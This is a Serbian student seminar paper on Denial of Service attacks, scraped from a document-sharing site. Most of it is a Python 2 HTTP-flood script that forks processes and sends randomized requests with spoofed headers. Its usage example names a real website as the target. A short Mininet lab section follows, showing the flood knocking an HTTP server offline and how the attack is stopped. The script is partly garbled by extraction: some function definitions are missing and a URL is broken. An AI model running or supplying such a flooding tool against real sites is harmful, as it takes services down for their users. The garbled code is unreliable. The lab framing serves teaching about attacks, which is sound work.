Académique Documents
Professionnel Documents
Culture Documents
Predmet:
INTEGRISANI SERVISI
Tema:
Denial of Service Attack
Mentor: Student:
Prof. Dr. Goran Zajić, dipl. inž. Marko Mitić 2049/17
#/usr/bin/python
import os
import re
import sys
import time
import signal
import socket
import getopt
import random
import urllib2
import threading
def usage():
print ''' usage : python attack.py [-t] [-c] http://www.baidu.c om/
-h : help
-t : lasting time of ddos
-c : numbers of thread to create'''
sys.exit()
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR
2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR
2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)
headers_referers.append(' ')
http://engadget.s earc h.aol .com/searc h?q=
def handler(signum,_):
if signum == signal.SIGALRM:
print "Time is up !"
print "Attack finished !"
sys.exit()
def send_packet(host,param_joiner):
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' +
buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
response = urllib2.urlopen(request)
except urllib2.HTTPError,error:
pass
except urllib2.URLError, error:
pass
# print "response code = %d "%response.code
def attack(host,param_joiner):
while True:
send_packet(host,param_joiner)
def parse_parameters(parameters):
global url
global interval
global num_thread
interval_def = 30
num_thread_def = 5
interval = interval_def
num_thread = num_thread_def
try :
opts,args = getopt.getopt(parameters,"ht:c:",["help"])
url = args[0]
for opt,arg in opts:
if opt in ('-h','--help'):
usage()
elif opt in ('-t','--time'):
if arg.isalnum():
interval = arg
else:
usage()
elif opt in ('-c','--count'):
if arg.isalnum():
num_thread = arg
else:
usage()
except getopt.GetoptError:
print("getopt error!");
usage();
sys.exit(1);
if __name__ == '__main__':
if len(sys.argv) < 2:
usage()
sys.exit()
parse_parameters(sys.argv[1:])
print "Debug : thread=%d time=%d %s"%(int(num_thread),int(interval),url)
if url.count('/') == 2:
url = url + "/"
m = re.search('http\://([^/]*)/?.*', url)
try :
host = m.group(1)
except AttributeError,e:
usage()
sys.exit()
useragent_list()
referer_list()
if url.count("?") > 0:
param_joiner = "&"
else:
param_joiner = "?"
signal.signal(signal.SIGINT, handler)
signal.signal(signal.SIGALRM, handler)
signal.alarm(int(interval))
for i in range(int(num_thread)):
newpid = os.fork()
if newpid == 0:
# signal.signal(signal.SIGINT, signal.SIG_DFL)
attack(host,param_joiner)
else:
pass
# print ("Child process",os.getpid(),newpid)
time.sleep(int(interval))
signal.alarm(0)
print "main thread exit..."
Kasnije u vežbi će ovu skriptu upotrebiti host H2HTTPAtacker za napad na
H3HTTPServer host.
vaš računar.
mininet>
Kreiranje topologije i testiranje
konektivnosti pingom komandom pingall
Klijent h2 će imati ulogu HTTP napadača koji će vršiti DdoS napad na HTTP server
H3, pa ćemo ga nakon kreiranja topologije i ulaska u mininet, pokretanja terminala na
h2 hostu, nazvati H2HTTPAtacker komandom hostname H2HTTPAtacker.
mininet> xterm h1 h2 h3
mininet> xterm h1 h2 h3
H3HTTPServer ćemo koristiti kao HTTP server koji „sluša“ po TCP portu 80. To se
postiže komandom python –m SimpleHTTPServer 80. Nakon izvršenja ove komande,
server počinje da snima saobraćaj po portu 80:
Kako bi testirali HTTP zahtev, na hostu h1 pokrećemo komandu curl i IP adresa h3
hosta. root@H1HTTPClient:# curl 10.0.0.3
Zatim ćemo pokazati da HTTP server nije više dostupan na HTTP upite od strane
drugih računara, kao što je u našem slučaju H1HTTPClient. Usled zauzetosti
H3HTTPServer-a obrađivanjem zahteva koje dobija od H2HTTPAttacker-a koji se
predstavlja kao HTTP Client, regularan HTTP upit generisan od strane H1HTTPClient-a ne
prolazi. H1 dobija poruku da je njegov HTTP Get zahtev odbijen, tj. TCP sesija nije mogla
da se uspostavi sa HTTPServer-om.
Kako bi se napad okončao, potrebno je kucati sudo pkill python u h2 prozoru
napdača. Nakon toga napad prestaje i dobija se poruka:
Ukoliko ugasimo link između sviča s2 i hosta h2 odakle napadač šalje pakete
koristeći komandu u mininet-u: link s2 h2 down, kao na slici:
Ovim smo odsekli napadača, koji dobija poruku: “Connection reset by peer”, dok
server više ne detektuje napad.
Izaći iz minineta komandom quit i očistiti kontroler: sudo mn –c.